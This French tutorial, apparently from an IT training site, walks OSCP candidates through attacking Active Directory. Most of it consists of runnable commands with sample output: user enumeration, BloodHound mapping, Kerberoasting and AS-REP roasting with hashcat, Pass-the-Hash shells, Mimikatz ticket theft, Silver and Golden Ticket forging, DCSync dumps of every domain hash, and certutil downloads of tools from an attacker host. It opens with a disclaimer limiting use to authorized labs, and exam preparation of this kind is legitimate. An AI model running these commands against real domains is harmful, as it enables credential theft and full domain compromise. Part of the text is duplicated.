ITSkillsCenter
Cybersécurité

Active Directory pour l’OSCP : Kerberoasting, BloodHound, Pass-the-Hash — tutoriel pas-à-pas

15 دقائق للقراءة

Avertissement légal : toutes les techniques présentées s’appliquent exclusivement sur des environnements de test autorisés — labs OffSec PEN-200, OSCP Exam AD Set, machines HTB/THM avec accès légal. Toute utilisation sur un domaine Active Directory en production sans autorisation écrite est illégale.

Le set Active Directory dans l’exam OSCP représente 40 points sur 100 (3 machines : 1 DC + 2 membres de domaine). C’est le vecteur le plus rentable en termes de points par heure. Ce tutoriel couvre la chaîne d’exploitation complète : énumération, compromission initiale, mouvements latéraux, et Domain Admin.

1. Énumération AD sans credentials

Avant d’avoir un compte de domaine, collectez un maximum d’informations via LDAP anonyme, SMB null sessions, et DNS.

Étape 1 — Identifier le Domain Controller

Pour identifier le Domain Controller, voici les commandes :

# Depuis Kali — scan de la plage réseau
nmap -p 88,389,445,464,636,3268 --open 192.168.x.0/24
# Port 88 (Kerberos) + 389 (LDAP) + 3268 (Global Catalog) = DC probable

# Requête DNS pour le DC
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local 192.168.x.1
nslookup -type=SRV _kerberos._tcp.domain.local 192.168.x.1

# Résolution du nom de domaine
nslookup domain.local 192.168.x.1

Étape 2 — Enumération SMB sans credentials

Pour enumération SMB sans credentials, voici les commandes :

# Null session SMB — partages accessibles
smbclient -N -L //192.168.x.10
# -N = no password, -L = list shares

# Lister les partages avec crackmapexec
crackmapexec smb 192.168.x.10 --shares -u '' -p ''
crackmapexec smb 192.168.x.10 --shares -u 'guest' -p ''

# Chercher des fichiers intéressants dans les partages publics
smbclient //192.168.x.10/Public -N
smb: \> ls
smb: \> get interesting_file.txt

Étape 3 — LDAP anonyme

Pour lDAP anonyme, voici les commandes :

# Requête LDAP anonyme pour lister les objets de base
ldapsearch -x -H ldap://192.168.x.10 -b "DC=domain,DC=local" \
  "(objectClass=*)" dn | head -50

# Énumérer les utilisateurs du domaine
ldapsearch -x -H ldap://192.168.x.10 -b "DC=domain,DC=local" \
  "(objectClass=user)" sAMAccountName userPrincipalName 2>/dev/null | \
  grep "sAMAccountName:"

# Avec enum4linux-ng
enum4linux-ng -A 192.168.x.10

Étape 4 — Brute force d’utilisateurs avec Kerbrute

Pour brute force d’utilisateurs avec Kerbrute, voici les commandes :

# Kerbrute ne nécessite pas de credentials — utilise le pré-auth Kerberos
kerbrute userenum -d domain.local --dc 192.168.x.10 \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -t 20 -o kerbrute_users.txt

# Résultat :
# [+] VALID USERNAME: administrator@domain.local
# [+] VALID USERNAME: svc_backup@domain.local
# [+] VALID USERNAME: john.doe@domain.local

2. BloodHound : cartographier le domaine

BloodHound visualise les chemins d’attaque dans un domaine AD. Il identifie les raccourcis vers Domain Admin que vous ne trouveriez jamais manuellement.

Étape 1 — Collecter les données avec SharpHound

Pour collecter les données avec SharpHound, voici les commandes :

# Sur la machine Windows compromise (avec credentials de domaine)
# Transférer SharpHound.exe
certutil -urlcache -split -f http://10.10.14.x:8080/SharpHound.exe C:\Windows\Temp\sh.exe

# Collecte complète
C:\Windows\Temp\sh.exe -c All --zipfilename bloodhound_data.zip

# Collecte ciblée (plus rapide)
C:\Windows\Temp\sh.exe -c DCOnly,Container,GPOLocalGroup --zipfilename bh_fast.zip

Alternative — BloodHound.py depuis Kali

Concrètement, pour collection depuis Kali avec credentials valides (pas besoin d’être sur la cible) :

# Collection depuis Kali avec credentials valides (pas besoin d'être sur la cible)
bloodhound-python -u john.doe -p Password123 \
  -d domain.local -ns 192.168.x.10 \
  -c All --zip -o bloodhound_data.zip

# Options :
# -c All : collecte tous les types de données
# -ns : serveur DNS (généralement le DC)
# --zip : archive le résultat

Étape 2 — Importer dans BloodHound

Pour importer dans BloodHound, voici les commandes :

# Démarrer Neo4j et BloodHound sur Kali
sudo neo4j start
# Aller sur http://localhost:7474 pour changer le mot de passe si premier démarrage
# Default : neo4j / neo4j → changer en neo4j / neo4jbloodhound

bloodhound &

# Dans BloodHound :
# 1. Upload Data → sélectionner le fichier .zip
# 2. Attendre l'import
# 3. Utiliser les requêtes pré-définies

Étape 3 — Requêtes BloodHound essentielles pour l’exam

Requête Utilité
Find all Domain Admins Identifier les comptes cibles finaux
Shortest Paths to Domain Admins Chemin d’attaque le plus court
Find Principals with DCSync Rights Comptes pouvant dumper tous les hashes
Kerberoastable Accounts Comptes avec SPN → Kerberoasting
AS-REP Roastable Users Comptes sans pré-auth Kerberos
Find Computers where Domain Users are Local Admin Mouvements latéraux faciles

3. Kerberoasting

Un Service Principal Name (SPN) enregistré sur un compte utilisateur permet à n’importe quel utilisateur authentifié du domaine de demander un ticket de service (TGS). Ce ticket est chiffré avec le hash NTLM du compte de service → crackable hors-ligne.

Étape 1 — Lister les comptes Kerberoastables

Pour requêtes BloodHound essentielles pour l’exam

Requête
Utilité

Find all Domain Admins
Identifier les comptes cibles finaux

Shortest Paths to Domain Admins
Chemin d’attaque le plus court

Find Principals with DCSync Rights
Comptes pouvant dumper tous les hashes

Kerberoastable Accounts
Comptes avec SPN → Kerberoasting

AS-REP Roastable Users
Comptes sans pré-auth Kerberos

Find Computers where Domain Users are Local Admin
Mouvements latéraux faciles

3. Kerberoasting
Un Service Principal Name (SPN) enregistré sur un compte utilisateur permet à n’importe quel utilisateur authentifié du domaine de demander un ticket de service (TGS). Ce ticket est chiffré avec le hash NTLM du compte de service → crackable hors-ligne.
Étape 1 — Lister les comptes Kerberoastables, voici les commandes :

# Depuis Kali — avec credentials valides
impacket-GetUserSPNs domain.local/john.doe:Password123 \
  -dc-ip 192.168.x.10

# Résultat :
# ServicePrincipalName              Name         MemberOf
# --------------------------------- ------------ --------
# HTTP/webserver.domain.local:80    svc_web      -
# MSSQLSvc/db01.domain.local:1433   svc_mssql    -

Étape 2 — Récupérer les tickets TGS

Pour récupérer les tickets TGS, voici les commandes :

# Demander les tickets et les sauvegarder
impacket-GetUserSPNs domain.local/john.doe:Password123 \
  -dc-ip 192.168.x.10 -request -outputfile kerberoast_hashes.txt

# Contenu de kerberoast_hashes.txt :
# $krb5tgs$23$*svc_web$DOMAIN.LOCAL$HTTP/webserver.domain.local~80*$abc123...

Étape 3 — Cracker les hashes

Pour cracker les hashes, voici les commandes :

# hashcat — mode 13100 (Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --force -O
# Résultat : $krb5tgs$23$*svc_web*...:ServicePassword1

# Avec règles pour améliorer les chances
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# Si etype 18 (AES256, plus difficile) — même mode
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force

Kerberoasting depuis Windows (Rubeus)

Concrètement, pour transférer Rubeus.exe sur la cible Windows :

# Transférer Rubeus.exe sur la cible Windows
certutil -urlcache -split -f http://10.10.14.x:8080/Rubeus.exe C:\Windows\Temp\rb.exe

# Kerberoasting de tous les comptes
C:\Windows\Temp\rb.exe kerberoast /outfile:C:\Windows\Temp\hashes.txt

# Kerberoasting ciblé
C:\Windows\Temp\rb.exe kerberoast /user:svc_web /outfile:C:\Windows\Temp\svc_web.txt

4. AS-REP Roasting

Les comptes avec l’option « Do not require Kerberos preauthentication » permettent à n’importe qui de demander un AS-REP chiffré avec leur hash NTLM — sans connaître leur mot de passe.

Étape 1 — Identifier les comptes vulnérables

Pour identifier les comptes vulnérables, voici les commandes :

# Sans credentials (si la liste d'utilisateurs est connue)
impacket-GetNPUsers domain.local/ \
  -usersfile kerbrute_users.txt \
  -dc-ip 192.168.x.10 \
  -no-pass \
  -format hashcat

# Avec credentials valides
impacket-GetNPUsers domain.local/john.doe:Password123 \
  -dc-ip 192.168.x.10 \
  -request

Étape 2 — Cracker les AS-REP

Pour cracker les AS-REP, voici les commandes :

# Sauvegarder les AS-REP
impacket-GetNPUsers domain.local/ \
  -usersfile users.txt -dc-ip 192.168.x.10 -no-pass \
  -format hashcat -outputfile asrep_hashes.txt

# hashcat — mode 18200 (Kerberos 5 AS-REP etype 23)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
  --force -O
# Résultat : $krb5asrep$23$backup_svc@DOMAIN.LOCAL:...:Welcome1

Depuis Windows avec Rubeus

Depuis Windows, l’équivalent est :

C:\Windows\Temp\rb.exe asreproast /format:hashcat /outfile:C:\Windows\Temp\asrep.txt

5. Pass-the-Hash (PTH)

Si vous obtenez un hash NTLM (sans le mot de passe en clair), vous pouvez l’utiliser directement pour vous authentifier sur des services Windows — sans jamais craquer le mot de passe.

Étape 1 — Obtenir un hash NTLM

Pour obtenir un hash NTLM, voici les commandes :

# Via secretsdump sur une machine compromise
impacket-secretsdump domain.local/john.doe:Password123@192.168.x.20
# [*] Dumping local SAM hashes
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f38bf3c6d15a...:::
#                                                      ^^^^^^^^^^^^^ NTLM hash

Étape 2 — PTH avec CrackMapExec

Pour pTH avec CrackMapExec, voici les commandes :

# Tester le hash sur tout le réseau
crackmapexec smb 192.168.x.0/24 \
  -u Administrator \
  -H aad3b435b51404eeaad3b435b51404ee:8f38bf3c6d15a... \
  --local-auth

# Résultat :
# SMB 192.168.x.10  445  DC01  [+] domain\Administrator:8f38... (Pwn3d!)
# SMB 192.168.x.20  445  WEB01 [+] domain\Administrator:8f38... (Pwn3d!)

# Exécuter une commande sur toutes les machines compromises
crackmapexec smb 192.168.x.0/24 \
  -u Administrator \
  -H 8f38bf3c6d15a... \
  -x "whoami" --local-auth

Étape 3 — Shell via PTH avec impacket-psexec

Pour shell via PTH avec impacket-psexec, voici les commandes :

# psexec avec hash — donne un shell SYSTEM
impacket-psexec domain.local/Administrator@192.168.x.10 \
  -hashes aad3b435b51404eeaad3b435b51404ee:8f38bf3c6d15a...

# wmiexec — moins bruyant, pas de service créé
impacket-wmiexec domain.local/Administrator@192.168.x.10 \
  -hashes aad3b435b51404eeaad3b435b51404ee:8f38bf3c6d15a...

# smbexec — si psexec bloqué
impacket-smbexec domain.local/Administrator@192.168.x.10 \
  -hashes aad3b435b51404eeaad3b435b51404ee:8f38bf3c6d15a...

Étape 4 — PTH avec Evil-WinRM (port 5985)

Pour pTH avec Evil-WinRM (port 5985), voici les commandes :

# WinRM activé sur la cible
evil-winrm -i 192.168.x.10 -u Administrator \
  -H 8f38bf3c6d15a...

# Shell PS interactif
*Evil-WinRM* PS C:\Users\Administrator\Documents>

6. Pass-the-Ticket (PTT)

Le PTT injecte un ticket Kerberos (TGT ou TGS) directement dans la session Windows, sans mot de passe ni hash. Utile pour imiter un utilisateur ou un service.

Depuis Windows — vol d’un TGT avec Mimikatz

Concrètement, pour lister les tickets en mémoire :

# Lister les tickets en mémoire
C:\Windows\Temp\mk.exe "sekurlsa::tickets" "exit"

# Exporter un ticket spécifique
C:\Windows\Temp\mk.exe "sekurlsa::tickets /export" "exit"
# Crée des fichiers .kirbi dans le dossier courant

# Injecter un ticket dans la session courante
C:\Windows\Temp\mk.exe "kerberos::ptt [0;12bd0]-2-0-40e10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit"

# Vérifier que le ticket est chargé
klist

Depuis Windows avec Rubeus

Concrètement, pour dump de tous les TGTs en cours :

# Dump de tous les TGTs en cours
C:\Windows\Temp\rb.exe dump /service:krbtgt /nowrap

# Injecter le ticket encodé en base64
C:\Windows\Temp\rb.exe ptt /ticket:doIFxj...base64==

# Vérifier
klist

Silver Ticket — forger un TGS pour un service spécifique

Concrètement, pour récupérer le SID du domaine :

# Si vous avez le hash NTLM du compte de service (ex: svc_mssql)
# Récupérer le SID du domaine
impacket-getPac domain.local/john.doe:Password123 -targetUser svc_mssql

# Forger un Silver Ticket pour MSSQL
C:\Windows\Temp\mk.exe "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:db01.domain.local /service:MSSQLSvc /rc4:NTLM_HASH_SVC_MSSQL /ptt" "exit"

7. DCSync — dump de tous les hashes du domaine

DCSync simule la réplication d’un Domain Controller pour extraire le hash NTLM de n’importe quel compte, y compris KRBTGT (nécessaire pour le Golden Ticket).

Prérequis

Vous devez disposer des droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All — accordés par défaut aux : Domain Admins, Enterprise Admins, Domain Controllers, et certains comptes de service avec ces droits délégués.

Étape 1 — Vérifier les droits DCSync avec BloodHound

Dans BloodHound :

# Dans BloodHound :
# Requête : "Find Principals with DCSync Rights"
# Identifie les comptes non-admin avec réplication permise

Étape 2 — DCSync depuis Kali avec impacket-secretsdump

Pour dCSync depuis Kali avec impacket-secretsdump, voici les commandes :

# DCSync complet — dump tous les comptes du domaine
impacket-secretsdump domain.local/Administrator:Password123@192.168.x.10 \
  -just-dc

# DCSync ciblé — un seul utilisateur
impacket-secretsdump domain.local/Administrator:Password123@192.168.x.10 \
  -just-dc-user Administrator

# Avec hash NTLM (si PTH disponible)
impacket-secretsdump domain.local/Administrator@192.168.x.10 \
  -hashes aad3...:8f38... -just-dc

Sortie critique :

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
domain.local\Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0:::
domain.local\krbtgt:502:aad3b435...:d0a6b5c08e5f3b52a8d3a4b7c9e12345:::
domain.local\svc_backup:1103:aad3b435...:8a9b2c4d6e1f3a5b7c9d2e4f6a8b0c1d:::

Étape 3 — DCSync depuis Windows avec Mimikatz

Pour dCSync depuis Windows avec Mimikatz, voici les commandes :

# Dump d'un compte spécifique
C:\Windows\Temp\mk.exe "lsadump::dcsync /user:domain\krbtgt" "exit"

# Dump complet du domaine
C:\Windows\Temp\mk.exe "lsadump::dcsync /all /csv" "exit"

Golden Ticket avec le hash KRBTGT

Avec le hash NTLM du compte krbtgt, forger un ticket pour n’importe quel compte :

# Avec le hash NTLM du compte krbtgt, forger un ticket pour n'importe quel compte
C:\Windows\Temp\mk.exe \
  "kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_NTLM_HASH /ptt" \
  "exit"

# Accéder au DC
dir \\dc01.domain.local\c$
# Connexion directe sans mot de passe

8. Mouvements latéraux : WinRM, SMB, PsExec

CrackMapExec — scan et exécution en masse

Concrètement, pour tester des credentials sur tout le réseau :

# Tester des credentials sur tout le réseau
crackmapexec smb 192.168.x.0/24 -u john.doe -p Password123 -d domain.local

# Lister les partages accessibles
crackmapexec smb 192.168.x.0/24 -u john.doe -p Password123 --shares

# Exécuter une commande sur les machines où john.doe est admin local
crackmapexec smb 192.168.x.0/24 -u john.doe -p Password123 \
  -x "net localgroup administrators" | grep -A1 "Pwn3d"

# Dump des hashes SAM sur toutes les machines compromises
crackmapexec smb 192.168.x.0/24 -u Administrator -H 8f38... \
  --sam --local-auth

WinRM — shell PowerShell distant

Concrètement, pour tester WinRM (port 5985) :

# Tester WinRM (port 5985)
crackmapexec winrm 192.168.x.0/24 -u john.doe -p Password123 -d domain.local

# Shell interactif via Evil-WinRM
evil-winrm -i 192.168.x.20 -u john.doe -p Password123

# Avec un hash
evil-winrm -i 192.168.x.20 -u Administrator -H 8f38bf3c6d15a...

PsExec / WMI / SMB shells

Concrètement, pour impacket-psexec — shell SYSTEM via service SMB :

# impacket-psexec — shell SYSTEM via service SMB
impacket-psexec domain.local/john.doe:Password123@192.168.x.20

# impacket-wmiexec — shell via WMI (moins d'artefacts)
impacket-wmiexec domain.local/john.doe:Password123@192.168.x.20

# impacket-atexec — exécution via Task Scheduler
impacket-atexec domain.local/john.doe:Password123@192.168.x.20 "whoami"

# impacket-dcomexec — exécution via DCOM
impacket-dcomexec domain.local/john.doe:Password123@192.168.x.20 "whoami"

Enumération des partages et fichiers

Concrètement, pour spider les partages pour trouver des mots de passe :

# Spider les partages pour trouver des mots de passe
crackmapexec smb 192.168.x.10 -u john.doe -p Password123 -M spider_plus

# Chercher manuellement dans les partages
smbclient //192.168.x.10/SYSVOL -U domain.local/john.doe%Password123
smb: \> ls
# Chercher des fichiers GPP (Group Policy Preferences) — contiennent parfois des mots de passe

# Décrypter les mots de passe GPP (clé AES publiée par Microsoft)
gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

9. Checklist exam AD — 40 points

Chaîne d’exploitation typique OSCP AD

# Action Outil Résultat attendu
1 Scanner le réseau AD (DC + membres) nmap -p 88,389,445,5985 DC identifié, services visibles
2 Enum SMB sans credentials crackmapexec, smbclient -N Partages publics + users potentiels
3 AS-REP Roasting (sans creds) impacket-GetNPUsers + hashcat 1er compte de domaine
4 BloodHound collection bloodhound-python Carte du domaine + chemins vers DA
5 Kerberoasting impacket-GetUserSPNs + hashcat Compte de service cracké
6 Mouvement latéral vers WEB01/FILE01 evil-winrm, psexec Shell sur machine membre + local.txt
7 Dump credentials locaux secretsdump, mimikatz, SAM dump Hashes admin locaux + de domaine
8 Pass-the-Hash vers DC crackmapexec, psexec Shell sur DC
9 DCSync secretsdump -just-dc Tous les hashes du domaine
10 Capture proof.txt sur DC type C:\Users\Administrator\Desktop\proof.txt 20 points DC

Capture des preuves (proof.txt)

L’exploitation proprement dite :

# Sur chaque machine membre (local.txt = 10 pts chacune)
evil-winrm -i 192.168.x.20 -u Administrator -H hash...
*Evil-WinRM* PS C:\> whoami && hostname && type C:\Users\Administrator\Desktop\local.txt
*Evil-WinRM* PS C:\> ipconfig

# Sur le DC (proof.txt = 20 pts)
impacket-psexec domain.local/Administrator@192.168.x.10 -hashes :hash...
C:\Windows\system32> whoami && hostname && type C:\Users\Administrator\Desktop\proof.txt
C:\Windows\system32> ipconfig

Tableau récapitulatif des outils AD

Outil Usage principal Credentials requis
Kerbrute Enumération d’utilisateurs valides Non
impacket-GetNPUsers AS-REP Roasting Non (avec liste users)
impacket-GetUserSPNs Kerberoasting Oui (compte domaine)
bloodhound-python Cartographie du domaine Oui (compte domaine)
crackmapexec Tests mass, PTH, exécution de commandes Oui (password ou hash)
evil-winrm Shell PS via WinRM Oui (password ou hash)
impacket-secretsdump Dump SAM/NTDS + DCSync Oui (admin local ou domain)
mimikatz Tickets, PTH, DCSync, Golden Admin ou SYSTEM requis
Rubeus Kerberoasting, AS-REP, PTT Variable selon la technique

Ressources et références

Prochaines étapes

#OSCP
Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité